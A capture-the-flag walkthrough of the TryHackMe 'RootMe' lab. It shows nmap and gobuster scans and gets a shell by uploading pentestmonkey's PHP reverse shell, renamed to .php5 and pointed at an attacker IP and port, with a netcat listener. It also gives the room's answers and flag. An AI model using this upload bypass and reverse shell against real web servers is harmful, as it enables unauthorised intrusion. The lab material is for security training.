

ROOTME

QUESTION1: how many ports are open

we use nmap port scan nmap ip adress -sV

```
(bing@kali)-[~]
$ nmap -sV 10.10.74.175
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-27 04:19 +03
Nmap scan report for 10.10.74.175
Host is up (0.60s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.16 seconds
```

and we find that we have 2 open ports

ANSWER: 2

QUESTION2: what version of Apache is running

```
(bing@kali)-[~]
$ nmap -sV 10.10.74.175
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-27 04:19 +03
Nmap scan report for 10.10.74.175
Host is up (0.60s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ANSWER: 2.4.29

QUESTION3: what service is running on port 22

```
(bing@kali)-[~]
$ nmap -sV 10.10.74.175
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-27 04:19 +03
Nmap scan report for 10.10.74.175
Host is up (0.60s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.16 seconds
```

ANSWER: ssh

QUESTION4,5: what is the hidden directory

```
(bing@kali)-[~]
$ gobuster dir -u http://10.10.74.175 -w /usr/share/dirb/wordlists/common.txt

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.74.175
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s

2022/08/27 05:17:56 Starting gobuster in directory enumeration mode

/htpasswd (Status: 403) [Size: 277]
/htaccess (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/css (Status: 301) [Size: 310] [→ http://10.10.74.175/css/]
/index.php (Status: 200) [Size: 616]
/js (Status: 301) [Size: 309] [→ http://10.10.74.175/js/]
/panel (Status: 301) [Size: 312] [→ http://10.10.74.175/panel/]
/server-status (Status: 403) [Size: 277]
/uploads (Status: 301) [Size: 314] [→ http://10.10.74.175/uploads/]

2022/08/27 05:22:46 Finished
```

ANSWER: /panel /

QUESTION6: find the flag

First we should find the php reverse shell file then we should open the new text editor and name that “rootme.php5”. We should copy the php reverse shell file and paste to rootme.php5 then change IP address to our IP address.

```

(bing@kali)-[~]
$ cd /usr/share/webshells
(bing@kali)-[/usr/share/webshells]
$ ls
asp  aspx  cfm  jsp  laudanum  perl  php
(bing@kali)-[/usr/share/webshells]
$ cd php
(bing@kali)-[/usr/share/webshells/php]
$ ls
findsocket  php-backdoor.php  php-reverse-shell.php  qsd-php-backdoor.php  simple-backdoor.php
(bing@kali)-[/usr/share/webshells/php]
$ nano php-reverse-shell.php

```

```

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.4.71.248'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

```

After this we will upload it to the site after this we should listen to port 1234 **nc -nvlp 1234** now we are listening to port

we should find the user.txt file and open it

```

user.txt
$ cat user.txt
THM{y0u_g0t_a_sh3ll}
$

```

ANSWER: THM{y0u_g0t_a_sh3ll}